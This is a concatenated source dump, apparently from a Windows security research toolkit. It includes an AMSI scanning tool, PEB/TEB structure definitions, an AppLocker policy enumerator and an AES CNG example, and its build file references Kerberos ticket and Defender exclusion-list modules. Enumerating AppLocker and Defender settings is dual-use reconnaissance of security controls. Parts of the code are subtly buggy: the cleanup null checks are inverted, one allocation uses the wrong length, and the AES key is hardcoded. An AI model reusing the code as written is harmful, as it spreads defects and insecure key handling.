wprintf(L"[>] Scan score: %d (AMSI_RESULT_CLEAN)\n", AmsiResult); wprintf(L"Known good. No detection found, and the result is likely not going to change after a future definition update.\n\n"); break; case AMSI_RESULT_NOT_DETECTED: wprintf(L"[>] Scan score: %d (AMSI_RESULT_NOT_DETECTED)\n", AmsiResult); wprintf(L"No detection found, but the result might change after a future definition update.\n\n"); break; case AMSI_RESULT_BLOCKED_BY_ADMIN_START: wprintf(L"[>] Scan score: %d (AMSI_RESULT_BLOCKED_BY_ADMIN_START)\n", AmsiResult); wprintf(L"Administrator policy blocked this content on this machine (beginning of range).\n\n"); break; case AMSI_RESULT_BLOCKED_BY_ADMIN_END: wprintf(L"[>] Scan score: %d (AMSI_RESULT_BLOCKED_BY_ADMIN_END)\n", AmsiResult); wprintf(L"Administrator policy blocked this content on this machine (end of range).\n\n"); break; case AMSI_RESULT_DETECTED: wprintf(L"[>] Scan score: %d (AMSI_RESULT_DETECTED)\n", AmsiResult); wprintf(L"Detection found. The content is considered malware and should be blocked.\n\n"); break; } } // Cleanup Cleanup(); return 0x00; } BOOL GetStringLenght(LPWSTR szString, PULONG plStringSize) { if (!szString) { plStringSize = 0; return FALSE; } while (*szString++ != '\0') *plStringSize += sizeof(WCHAR); return TRUE; } BOOL ScanString(LPWSTR* pszString, AMSI_RESULT* pAmsiResult) { if (!*pszString) { wprintf(L"[-] Empty string provided.\n"); return FALSE; } ULONG lStringSize = 0; if (!GetStringLenght(*pszString, &lStringSize) || lStringSize == 0) { wprintf(L"[-] Empty string provided.\n"); return FALSE; } PVOID pBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lStringSize); RtlCopyMemory(pBuffer, *pszString, lStringSize); HRESULT hr = AmsiScanBuffer(g_hAmsiContext, pBuffer, lStringSize, L"scan-string", g_hAmsiSession, pAmsiResult); if (FAILED(hr)) { wprintf(L"[-] Error while invoking amsi!AmsiScanBuffer (0x%08x)\n", hr); Cleanup(); return 0x01; } HeapFree(GetProcessHeap(), 0, pBuffer); return TRUE; } BOOL ScanFile(LPWSTR* pszFileName, AMSI_RESULT* pAmsiResult) { // Check if file name is not empty if (!*pszFileName) { wprintf(L"[-] Empty file name provided.\n"); return FALSE; } // Check if file exist DWORD dwFileAttributes = GetFileAttributes(*pszFileName); if (dwFileAttributes == INVALID_FILE_ATTRIBUTES) { wprintf(L"[-] File doesn't exist.\n"); return FALSE; } // Get an handle to the file object HANDLE hFile = CreateFile(*pszFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, dwFileAttributes, NULL); if (hFile == INVALID_HANDLE_VALUE) { wprintf(L"[-] Unable to open the file (%d)\n", GetLastError()); return FALSE; } // Get size of the file DWORD dwFileSize = GetFileSize(hFile, NULL); if (dwFileSize == 0) { wprintf(L"[-] Unable to get size of the file (%d)\n", GetLastError()); CloseHandle(hFile); return FALSE; } // Read content of the file DWORD dwBytesRead = 0; PVOID pAsciiBuffer = HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, dwFileSize); BOOL bSuccess = ReadFile(hFile, pAsciiBuffer, dwFileSize, &dwBytesRead, NULL); if (!bSuccess || dwBytesRead < dwFileSize) { wprintf(L"[-] Unable to get size of the file (%d)\n", GetLastError()); CloseHandle(hFile); HeapFree(g_hProcessHeap, 0, pAsciiBuffer); return FALSE; } // Convert from ASCII to Unicode int UnicodeBufferSize = MultiByteToWideChar(CP_ACP, 0, pAsciiBuffer, -1, NULL, 0); PVOID pUnicodeBuffer = HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, UnicodeBufferSize * sizeof(WCHAR)); MultiByteToWideChar(CP_ACP, 0, pAsciiBuffer, -1, pUnicodeBuffer, UnicodeBufferSize); HeapFree(g_hProcessHeap, 0, pAsciiBuffer); // Scan file content ULONG lUnicodeBufferLength = 0; GetStringLenght(pUnicodeBuffer, &lUnicodeBufferLength); HRESULT hr = AmsiScanBuffer(g_hAmsiContext, pUnicodeBuffer, lUnicodeBufferLength, *pszFileName, g_hAmsiSession, pAmsiResult); if (FAILED(hr)) { wprintf(L"[-] Error while invoking amsi!AmsiScanBuffer (0x%08x)\n", hr); Cleanup(); return FALSE; } HeapFree(g_hProcessHeap, 0, pUnicodeBuffer); CloseHandle(hFile); return TRUE; } VOID Cleanup() { if (!g_hAmsiContext && !g_hAmsiSession) AmsiCloseSession(g_hAmsiContext, g_hAmsiSession); if (!g_hAmsiSession) AmsiUninitialize(g_hAmsiSession); } ================================================ FILE: AMSI/structs.h ================================================ #pragma once #include /*-------------------------------------------------------------------- Windows structures. --------------------------------------------------------------------*/ enum PROCESSINFOCLASS { ProcessHandleInformation = 51 }; typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR; typedef struct _PEB_LDR_DATA { ULONG Length; ULONG Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, * PPEB_LDR_DATA; typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_MODULE, * PLDR_MODULE; typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; BOOLEAN Spare; HANDLE Mutant; PVOID ImageBase; PPEB_LDR_DATA LoaderData; PVOID ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PVOID FastPebLock; PVOID FastPebLockRoutine; PVOID FastPebUnlockRoutine; ULONG EnvironmentUpdateCount; PVOID* KernelCallbackTable; PVOID EventLogSection; PVOID EventLog; PVOID FreeList; ULONG TlsExpansionCounter; PVOID TlsBitmap; ULONG TlsBitmapBits[0x2]; PVOID ReadOnlySharedMemoryBase; PVOID ReadOnlySharedMemoryHeap; PVOID* ReadOnlyStaticServerData; PVOID AnsiCodePageData; PVOID OemCodePageData; PVOID UnicodeCaseTableData; ULONG NumberOfProcessors; ULONG NtGlobalFlag; BYTE Spare2[0x4]; LARGE_INTEGER CriticalSectionTimeout; ULONG HeapSegmentReserve; ULONG HeapSegmentCommit; ULONG HeapDeCommitTotalFreeThreshold; ULONG HeapDeCommitFreeBlockThreshold; ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; PVOID** ProcessHeaps; PVOID GdiSharedHandleTable; PVOID ProcessStarterHelper; PVOID GdiDCAttributeList; PVOID LoaderLock; ULONG OSMajorVersion; ULONG OSMinorVersion; ULONG OSBuildNumber; ULONG OSPlatformId; ULONG ImageSubSystem; ULONG ImageSubSystemMajorVersion; ULONG ImageSubSystemMinorVersion; ULONG GdiHandleBuffer[0x22]; ULONG PostProcessInitRoutine; ULONG TlsExpansionBitmap; BYTE TlsExpansionBitmapBits[0x80]; ULONG SessionId; } PEB, * PPEB; typedef struct __CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, * PCLIENT_ID; typedef struct _TEB_ACTIVE_FRAME_CONTEXT { ULONG Flags; PCHAR FrameName; } TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; typedef struct _TEB_ACTIVE_FRAME { ULONG Flags; struct _TEB_ACTIVE_FRAME* Previous; PTEB_ACTIVE_FRAME_CONTEXT Context; } TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; typedef struct _GDI_TEB_BATCH { ULONG Offset; ULONG HDC; ULONG Buffer[310]; } GDI_TEB_BATCH, * PGDI_TEB_BATCH; typedef PVOID PACTIVATION_CONTEXT; typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; PACTIVATION_CONTEXT ActivationContext; ULONG Flags; } RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME; typedef struct _ACTIVATION_CONTEXT_STACK { PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; LIST_ENTRY FrameListCache; ULONG Flags; ULONG NextCookieSequenceNumber; ULONG StackId; } ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; typedef struct _TEB { NT_TIB NtTib; PVOID EnvironmentPointer; CLIENT_ID ClientId; PVOID ActiveRpcHandle; PVOID ThreadLocalStoragePointer; PPEB ProcessEnvironmentBlock; ULONG LastErrorValue; ULONG CountOfOwnedCriticalSections; PVOID CsrClientThread; PVOID Win32ThreadInfo; ULONG User32Reserved[26]; ULONG UserReserved[5]; PVOID WOW32Reserved; LCID CurrentLocale; ULONG FpSoftwareStatusRegister; PVOID SystemReserved1[54]; LONG ExceptionCode; #if (NTDDI_VERSION >= NTDDI_LONGHORN) PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)]; ULONG TxFsContext; #elif (NTDDI_VERSION >= NTDDI_WS03) PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)]; #else ACTIVATION_CONTEXT_STACK ActivationContextStack; UCHAR SpareBytes1[24]; #endif GDI_TEB_BATCH GdiTebBatch; CLIENT_ID RealClientId; PVOID GdiCachedProcessHandle; ULONG GdiClientPID; ULONG GdiClientTID; PVOID GdiThreadLocalInfo; PSIZE_T Win32ClientInfo[62]; PVOID glDispatchTable[233]; PSIZE_T glReserved1[29]; PVOID glReserved2; PVOID glSectionInfo; PVOID glSection; PVOID glTable; PVOID glCurrentRC; PVOID glContext; NTSTATUS LastStatusValue; UNICODE_STRING StaticUnicodeString; WCHAR StaticUnicodeBuffer[261]; PVOID DeallocationStack; PVOID TlsSlots[64]; LIST_ENTRY TlsLinks; PVOID Vdm; PVOID ReservedForNtRpc; PVOID DbgSsReserved[2]; #if (NTDDI_VERSION >= NTDDI_WS03) ULONG HardErrorMode; #else ULONG HardErrorsAreDisabled; #endif #if (NTDDI_VERSION >= NTDDI_LONGHORN) PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)]; GUID ActivityId; PVOID SubProcessTag; PVOID EtwLocalData; PVOID EtwTraceData; #elif (NTDDI_VERSION >= NTDDI_WS03) PVOID Instrumentation[14]; PVOID SubProcessTag; PVOID EtwLocalData; #else PVOID Instrumentation[16]; #endif PVOID WinSockData; ULONG GdiBatchCount; #if (NTDDI_VERSION >= NTDDI_LONGHORN) BOOLEAN SpareBool0; BOOLEAN SpareBool1; BOOLEAN SpareBool2; #else BOOLEAN InDbgPrint; BOOLEAN FreeStackOnTermination; BOOLEAN HasFiberData; #endif UCHAR IdealProcessor; #if (NTDDI_VERSION >= NTDDI_WS03) ULONG GuaranteedStackBytes; #else ULONG Spare3; #endif PVOID ReservedForPerf; PVOID ReservedForOle; ULONG WaitingOnLoaderLock; #if (NTDDI_VERSION >= NTDDI_LONGHORN) PVOID SavedPriorityState; ULONG_PTR SoftPatchPtr1; ULONG_PTR ThreadPoolData; #elif (NTDDI_VERSION >= NTDDI_WS03) ULONG_PTR SparePointer1; ULONG_PTR SoftPatchPtr1; ULONG_PTR SoftPatchPtr2; #else Wx86ThreadState Wx86Thread; #endif PVOID* TlsExpansionSlots; #if defined(_WIN64) && !defined(EXPLICIT_32BIT) PVOID DeallocationBStore; PVOID BStoreLimit; #endif ULONG ImpersonationLocale; ULONG IsImpersonating; PVOID NlsCache; PVOID pShimData; ULONG HeapVirtualAffinity; HANDLE CurrentTransactionHandle; PTEB_ACTIVE_FRAME ActiveFrame; #if (NTDDI_VERSION >= NTDDI_WS03) PVOID FlsData; #endif #if (NTDDI_VERSION >= NTDDI_LONGHORN) PVOID PreferredLangauges; PVOID UserPrefLanguages; PVOID MergedPrefLanguages; ULONG MuiImpersonation; union { struct { USHORT SpareCrossTebFlags : 16; }; USHORT CrossTebFlags; }; union { struct { USHORT DbgSafeThunkCall : 1; USHORT DbgInDebugPrint : 1; USHORT DbgHasFiberData : 1; USHORT DbgSkipThreadAttach : 1; USHORT DbgWerInShipAssertCode : 1; USHORT DbgIssuedInitialBp : 1; USHORT DbgClonedThread : 1; USHORT SpareSameTebBits : 9; }; USHORT SameTebFlags; }; PVOID TxnScopeEntercallback; PVOID TxnScopeExitCAllback; PVOID TxnScopeContext; ULONG LockCount; ULONG ProcessRundown; ULONG64 LastSwitchTime; ULONG64 TotalSwitchOutTime; LARGE_INTEGER WaitReasonBitMap; #else BOOLEAN SafeThunkCall; BOOLEAN BooleanSpare[3]; #endif } TEB, * PTEB; typedef LONG KPRIORITY; typedef struct _PROCESS_BASIC_INFORMATION { NTSTATUS ExitStatus; PPEB PebBaseAddress; ULONG_PTR AffinityMask; KPRIORITY BasePriority; PVOID UniqueProcessId; PVOID InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; WORD LoadCount; WORD TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; PACTIVATION_CONTEXT EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; ================================================ FILE: AppLocker/List Policies/interfaces.h ================================================ /** * @file interfaces.h * @date 02-08-2020 * @author Paul Laîné (@am0nsec) * @version 1.0 * @brief Enumerate AppLocker policies via IAppIdPolicyHandler COM interface. * @details * @link https://ntamonsec.blogspot.com/ * * @copyright This project has been released under the GNU Public License v3 license. */ #include #ifndef _INTERFACES_H #define _INTERFACES_H /** * @brief GUID of the IAppIdPolicyHandler COM interface: B6FEA19E-32DD-4367-B5B7-2F5DA140E87D */ CONST IID IID_IAppIdPolicyHandler = { 0xB6FEA19E, 0x32DD, 0x4367, {0xB5, 0xB7, 0x2F, 0x5D, 0xA1, 0x40, 0xE8, 0x7D} }; /** * @brief GUID of the IAppIdPolicyHandler class factory: F1ED7D4C-F863-4DE6-A1CA-7253EFDEE1F3 */ CONST IID CLSID_AppIdPolicyHandlerClass = { 0xF1ED7D4C, 0xF863, 0x4DE6, {0xA1, 0xCA, 0x72, 0x53, 0xEF, 0xDE, 0xE1, 0xF3} }; typedef interface IAppIdPolicyHandler IAppIdPolicyHandler; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("B6FEA19E-32DD-4367-B5B7-2F5DA140E87D") IAppIdPolicyHandler : public IUnknown, public IDispatch { public: virtual VOID STDMETHODCALLTYPE SetPolicy ( _In_ BSTR bstrLdapPath, _In_ BSTR bstrXmlPolicy ); virtual BSTR STDMETHODCALLTYPE GetPolicy( _In_ BSTR bstrLdapPath, _Out_ LPBSTR pbstrXmlPolicy ); virtual BSTR STDMETHODCALLTYPE GetEffectivePolicy( _Out_ LPBSTR pbstrXmlPolicy ); virtual INT STDMETHODCALLTYPE IsFileAllowed( _In_ BSTR bstrXmlPolicy, _In_ BSTR bstrFilePath, _In_ BSTR bstrUserSid, _Out_ LPGUID pguidResponsibleRuleId, _Out_ PLONG pbStatus ); virtual INT STDMETHODCALLTYPE IsPackageAllowed( _In_ BSTR bstrXmlPolicy, _In_ BSTR bstrPublisherName, _In_ BSTR bstrPackageName, _In_ ULONG ullPackageVersion, _In_ BSTR bstrUserSid, _Out_ LPGUID pguidResponsibleRuleId, _Out_ PLONG pbStatus ); }; #else typedef struct AppIdPolicyHandlerVtbl { BEGIN_INTERFACE /** * @brief QueryInterface method from IUnknown */ HRESULT(STDMETHODCALLTYPE* QueryInterface) ( _In_ IAppIdPolicyHandler* This, _In_ REFIID riid, _Out_ PVOID* ppvObject ); /** * @brief AddRef from IUnknown */ ULONG(STDMETHODCALLTYPE* AddRef)( _In_ IAppIdPolicyHandler* This ); /** * @brief Release from IUnknown */ ULONG(STDMETHODCALLTYPE* Release)( _In_ IAppIdPolicyHandler* This ); /** * @brief GetTypeInfoCount from IDispatch */ HRESULT(STDMETHODCALLTYPE* GetTypeInfoCount)( _In_ IAppIdPolicyHandler* This, _Out_ PUINT pctinfo ); /** * @brief GetTypeInfo from IDispatch */ HRESULT(STDMETHODCALLTYPE* GetTypeInfo)( _In_ IAppIdPolicyHandler* This, _In_ UINT itinfo, _In_ ULONG lcid, _Out_ LPVOID* pptinfo ); /** * @brief GetIDsOfNames from IDispatch */ HRESULT(STDMETHODCALLTYPE* GetIDsOfNames)( _In_ IAppIdPolicyHandler* This, _In_ LPIID riid, _In_ LPOLESTR* rgszNames, _In_ UINT cNames, _In_ LCID lcid, _Out_ DISPID* rgdispid ); /** * @brief Invoke from IDispatch */ HRESULT(STDMETHODCALLTYPE* Invoke)( _In_ IAppIdPolicyHandler* This, _In_ DISPID dispidMember, _In_ LPIID riid, _In_ LCID lcid, _In_ WORD wFlags, _In_ DISPPARAMS* pdispparams, _In_ LPVARIANT pvarResult, _Out_ LPEXCEPINFO pexcepinfo, _Out_ PUINT puArgErr ); /** * @brief SetPolicy from IAppIdPolicyHandler */ HRESULT(STDMETHODCALLTYPE* SetPolicy)( _In_ IAppIdPolicyHandler* This, _In_ BSTR bstrLdapPath, _In_ BSTR bstrXmlPolicy ); /** * @brief GetPolicy from IAppIdPolicyHandler */ HRESULT(STDMETHODCALLTYPE *GetPolicy)( _In_ IAppIdPolicyHandler* This, _In_ BSTR bstrLdapPath, _Out_ LPBSTR pbstrXmlPolicy ); /** * @brief GetEffectivePolicy from IAppIdPolicyHandler */ HRESULT(STDMETHODCALLTYPE *GetEffectivePolicy)( _In_ IAppIdPolicyHandler* This, _Out_ LPBSTR pbstrXmlPolicies ); /** * @brief IsFileAllowed from IAppIdPolicyHandler */ HRESULT(STDMETHODCALLTYPE *IsFileAllowed)( _In_ IAppIdPolicyHandler* This, _In_ BSTR bstrXmlPolicy, _In_ BSTR bstrFilePath, _In_ BSTR bstrUserSid, _Out_ LPGUID pguidResponsibleRuleId, _Out_ PLONG pbStatus ); /** * @brief IsPackageAllowed from IAppIdPolicyHandler */ HRESULT(STDMETHODCALLTYPE *IsPackageAllowed)( _In_ IAppIdPolicyHandler* This, _In_ BSTR bstrXmlPolicy, _In_ BSTR bstrPublisherName, _In_ BSTR bstrPackageName, _In_ ULONG ullPackageVersion, _In_ BSTR bstrUserSid, _Out_ LPGUID pguidResponsibleRuleId, _Out_ PLONG pbStatus ); END_INTERFACE } AppIdPolicyHandlerVtbl; interface IAppIdPolicyHandler { CONST_VTBL struct AppIdPolicyHandlerVtbl* lpVtbl; }; #endif #endif // !_INTERFACES_H ================================================ FILE: AppLocker/List Policies/main.c ================================================ /** * @file main.c * @date 02-08-2020 * @author Paul Laîné (@am0nsec) * @version 1.0 * @brief Enumerate AppLocker policies via IAppIdPolicyHandler COM interface. * @details * @link https://ntamonsec.blogspot.com/ * * @copyright This project has been released under the GNU Public License v3 license. */ #include #include #include "interfaces.h" #define APPLOCKER_MODE_LOCAL 0x01 // Application will retrieve the local AppLocker policies. #define APPLOCKER_MODE_DOMAIN 0x02 // Application will retrieve the domain AppLocker policies . #define APPLOCKER_MODE_EFFECTIVE 0x03 // Application will retrieve the effective AppLocker policies. /** * @brief Return the help banner of the application. */ VOID ShowUsage() { wprintf(L"usage: applocker.exe [-l|-e|-d] {ldap query}\n"); wprintf(L"\t-l\t\tList local AppLocker policies. Default mode.\n"); wprintf(L"\t-e\t\tList effective AppLocker policies.\n"); wprintf(L"\t-d\t\tList domain AppLocker policies. In this case the last parameter is the LDAP path.\n\n"); wprintf(L"examples:\n"); wprintf(L"\tapplocker.exe -e\n"); wprintf(L"\tapplocker.exe -l\n"); wprintf(L"\tapplocker.exe -d \"DC=example,DC=com\"\n"); } /** * @brief Get the local, domain or effective AppLocker policies. * @param pwAppLockerMode One of the following mode: APPLOCKER_MODE_LOCAL, APPLOCKER_MODE_DOMAIN or APPLOCKER_MODE_EFFECTIVE. * @param pbstrLdapPath The LPAP search path in case domain AppLocker policies have to be retrieved, * @param pbstrPolicies The retrieved AppLocker policies. * @return Whether the policies have been successfully retrieved. */ BOOL GetAppLockerPolicies(PWORD pwAppLockerMode, LPBSTR pbstrLdapPath, LPBSTR pbstrPolicies) { BOOL bResult = FALSE; HRESULT result = S_FALSE; result = CoInitialize(NULL); if (result != S_OK) return FALSE; // Get the COM interface IAppIdPolicyHandler* pIAppIdPolicyHandler = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(IAppIdPolicyHandler)); result = CoCreateInstance(&CLSID_AppIdPolicyHandlerClass, NULL, CLSCTX_INPROC_SERVER, &IID_IAppIdPolicyHandler, &pIAppIdPolicyHandler); if (result != S_OK || pIAppIdPolicyHandler == NULL) goto failure; // Get the AppLocker policies switch (*pwAppLockerMode) { case APPLOCKER_MODE_LOCAL: case APPLOCKER_MODE_DOMAIN: result = pIAppIdPolicyHandler->lpVtbl->GetPolicy(pIAppIdPolicyHandler, *pbstrLdapPath, pbstrPolicies); break; case APPLOCKER_MODE_EFFECTIVE: result = pIAppIdPolicyHandler->lpVtbl->GetEffectivePolicy(pIAppIdPolicyHandler, pbstrPolicies); break; } // Check if an error occurred if (result != S_OK || *pbstrPolicies == NULL) goto failure; bResult = TRUE; failure: if (pIAppIdPolicyHandler) { pIAppIdPolicyHandler->lpVtbl->Release(pIAppIdPolicyHandler); pIAppIdPolicyHandler = NULL; } CoUninitialize(); return bResult; } /** * @brief Entry point of the application. * @param argc Number of command line arguments. * @param argv Command line arguments. * @return The execution status code. */ INT wmain(INT argc, PWCHAR argv[]) { // Banner wprintf(L"List local, domain and effective AppLocker policies\n"); wprintf(L"Copyright (C) 2020 Paul Laine (@am0nsec)\n"); wprintf(L"https://ntamonsec.blogspot.com/\n\n"); // Variable early definition INT iStatusCode = 1; WORD wAppLockerMode = APPLOCKER_MODE_LOCAL; BSTR bstrLdapPath = NULL; // Parse user arguments if (argc < 2) { ShowUsage(); return; } if (wcscmp(argv[1], L"-l") == 0) wAppLockerMode = APPLOCKER_MODE_LOCAL; else if (wcscmp(argv[1], L"-e") == 0) wAppLockerMode = APPLOCKER_MODE_EFFECTIVE; else if (wcscmp(argv[1], L"-d") == 0 && argc >= 3) { wAppLockerMode = APPLOCKER_MODE_DOMAIN; bstrLdapPath = SysAllocString(argv[2]); } else { ShowUsage(); return; } // Get the AppLocker Policies BSTR bstrAppLockerPolicies = NULL; if (GetAppLockerPolicies(&wAppLockerMode, &bstrLdapPath, &bstrAppLockerPolicies)) { printf("AppLocker policies: \n%S\n", bstrAppLockerPolicies); return 0; } return 1; } ================================================ FILE: CMakeLists.txt ================================================ # @file CMakeLists.txt # @data 12/02/2021 # @author Paul L. (@am0nsec) # @version 1.0 # @brief WSPE CMake configuration file. cmake_minimum_required(VERSION 3.16) # You kids get off my lawn! if (NOT ${CMAKE_SYSTEM_NAME} STREQUAL "Windows") message(FATAL_ERROR "You kids get off my lawn with Linux ...") endif() # Dummy project project(wspe VERSION 1.0 LANGUAGES C) # Kerberos add_subdirectory(Kerberos/List) add_subdirectory(Kerberos/Purge) add_subdirectory(Kerberos/GetTicket) add_subdirectory(Kerberos/AskTGT) # Office add_subdirectory(Office/outlook) # Windows Defender add_subdirectory(Defender/ExclusionLists) # Microsoft Debug Interface Access (DIA) add_subdirectory(DIA) ================================================ FILE: CMakeSettings.json ================================================ { "configurations": [ { "name": "x64-Debug", "generator": "Ninja", "configurationType": "Debug", "inheritEnvironments": [ "msvc_x64_x64" ], "buildRoot": "${projectDir}\\out\\build\\${name}", "installRoot": "${projectDir}\\out\\install\\${name}", "cmakeCommandArgs": "", "buildCommandArgs": "", "ctestCommandArgs": "" }, { "name": "x64-Release", "generator": "Ninja", "configurationType": "RelWithDebInfo", "buildRoot": "${projectDir}\\out\\build\\${name}", "installRoot": "${projectDir}\\out\\install\\${name}", "cmakeCommandArgs": "", "buildCommandArgs": "", "ctestCommandArgs": "", "inheritEnvironments": [ "msvc_x64_x64" ], "variables": [] } ] } ================================================ FILE: Cryptography/AES CNG/README.md ================================================ ## AESCrypt ## This repository provide a simple example of how to use the Windows Cryptography API Next Generation to encrypt and decrypt a string with AES algorithm. The Microsoft documentation can be found here: https://docs.microsoft.com/en-us/windows/win32/seccng/cng-portal

[am0nsec](https://twitter.com/am0nsec) - cum lux abest, tenebrae vincunt ================================================ FILE: Cryptography/AES CNG/source/AES.cpp ================================================ #pragma once #include #include #include #include #include "nthelpers.h" #include "AES.h" #include "Util.h" #include "Base64.h" #pragma comment(lib, "Bcrypt.lib") namespace CNG { AES::~AES() { if (this->hKeyHandle != NULL) ::BCryptDestroyKey(this->hKeyHandle); if (this->hBcryptAlgHandle != NULL) ::BCryptCloseAlgorithmProvider(this->hBcryptAlgHandle, 0); if (this->pbKeyObject != NULL) ::HeapFree(::GetProcessHeap(), 0, this->pbKeyObject); if (this->pbIV != NULL) ::HeapFree(::GetProcessHeap(), 0, this->pbIV); if (this->pbPlainText != NULL) ::HeapFree(::GetProcessHeap(), 0, this->pbPlainText); if (this->pbCipherText != NULL) ::HeapFree(::GetProcessHeap(), 0, this->pbCipherText); } AESEncrypt::~AESEncrypt() {} AESDecrypt::~AESDecrypt() {} BOOL WINAPI AES::Initialise() { if (this->bIsInitialised) return TRUE; NTSTATUS ntStatus = STATUS_UNSUCCESSFUL; CNG::Util::WriteInfoMessage(L"Call bcrypt!BCryptOpenAlgorithmProvider\n", 3); ntStatus = ::BCryptOpenAlgorithmProvider(&this->hBcryptAlgHandle, BCRYPT_AES_ALGORITHM, NULL, 0); if (!NT_SUCCESS(ntStatus)) { CNG::Util::WriteErrorMessage(L"First bcrypt!BCryptOpenAlgorithmProvider failed\n"); return FALSE; } ntStatus = ::BCryptGetProperty(this->hBcryptAlgHandle, BCRYPT_OBJECT_LENGTH, (PBYTE)(&this->cbKeyObject), sizeof(DWORD), &this->cbData, 0); if (!NT_SUCCESS(ntStatus)) { CNG::Util::WriteErrorMessage(L"First bcrypt!BCryptGetProperty failed\n"); return FALSE; } this->pbKeyObject = (PBYTE)::HeapAlloc(::GetProcessHeap(), 0, this->cbKeyObject); ntStatus = ::BCryptGetProperty(this->hBcryptAlgHandle, BCRYPT_BLOCK_LENGTH, (PBYTE)(&this->cbBlockLen), sizeof(DWORD), &this->cbData, 0); if (!NT_SUCCESS(ntStatus)) { CNG::Util::WriteErrorMessage(L"Second bcrypt!BCryptGetProperty failed\n"); return FALSE; } if (this->cbBlockLen > sizeof(CNG::rgbIV)) return FALSE; this->pbIV = (PBYTE)::HeapAlloc(::GetProcessHeap(), 0, this->cbBlockLen); ::RtlCopyMemory(this->pbIV, CNG::rgbIV, this->cbBlockLen); ntStatus = ::BCryptSetProperty(this->hBcryptAlgHandle, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0); if (!NT_SUCCESS(ntStatus)) { CNG::Util::WriteErrorMessage(L"bcrypt!BCryptSetProperty failed\n"); return FALSE; } CNG::Util::WriteInfoMessage(L"Call bcrypt!BCryptGenerateSymmetricKey\n", 3); ntStatus = ::BCryptGenerateSymmetricKey(this->hBcryptAlgHandle, &this->hKeyHandle, this->pbKeyObject, this->cbKeyObject, (PBYTE)CNG::rgbAES128Key, sizeof(CNG::rgbAES128Key), 0); if (!NT_SUCCESS(ntStatus)) { CNG::Util::WriteErrorMessage(L"bcrypt!BCryptGenerateSymmetricKey failed\n"); return FALSE; } this->bIsInitialised = TRUE; return this->bIsInitialised; } BOOL WINAPI AESEncrypt::SetBase64StringToEncrypt(std::string sPlaintext) { if (!sPlaintext.empty()) { std::vector vec = Base64::Base64Decode(sPlaintext); std::string tmp(vec.begin(), vec.end()); return this->SetStringToEncrypt(tmp); } CNG::Util::WriteErrorMessage(L"Enpty string provided"); return FALSE; } BOOL WINAPI AESEncrypt::SetStringToEncrypt(std::string sPlaintext) { if (!sPlaintext.empty()) { this->cbPlainText = (DWORD)sPlaintext.size(); this->pbPlainText = (PBYTE)::HeapAlloc(::GetProcessHeap(), 0, this->cbPlainText); ::RtlCopyMemory(this->pbPlainText, sPlaintext.c_str(), sPlaintext.size()); return TRUE; } CNG::Util::WriteErrorMessage(L"Enpty string provided"); return FALSE; } BOOL WINAPI AESDecrypt::SetStringToDecrypt(std::string sCipherText) { if (!sCipherText.empty()) { this->cbCipherText = (DWORD)sCipherText.size(); this->pbCipherText = (PBYTE)::HeapAlloc(::GetProcessHeap(), 0, this->cbPlainText); ::RtlCopyMemory(this->pbCipherText, sCipherText.c_str(), sCipherText.size()); return TRUE; } CNG::Util::WriteErrorMessage(L"Enpty string provided"); return FALSE; } BOOL WINAPI AESDecrypt::SetBase64StringToDecrypt(std::string sCipherText) { if (!sCipherText.empty()) { std::vector vec = Base64::Base64Decode(sCipherText); std::string tmp(vec.begin(), vec.end()); return this->SetStringToDecrypt(tmp); } CNG::Util::WriteErrorMessage(L"Enpty string provided"); return FALSE; } BOOL WINAPI 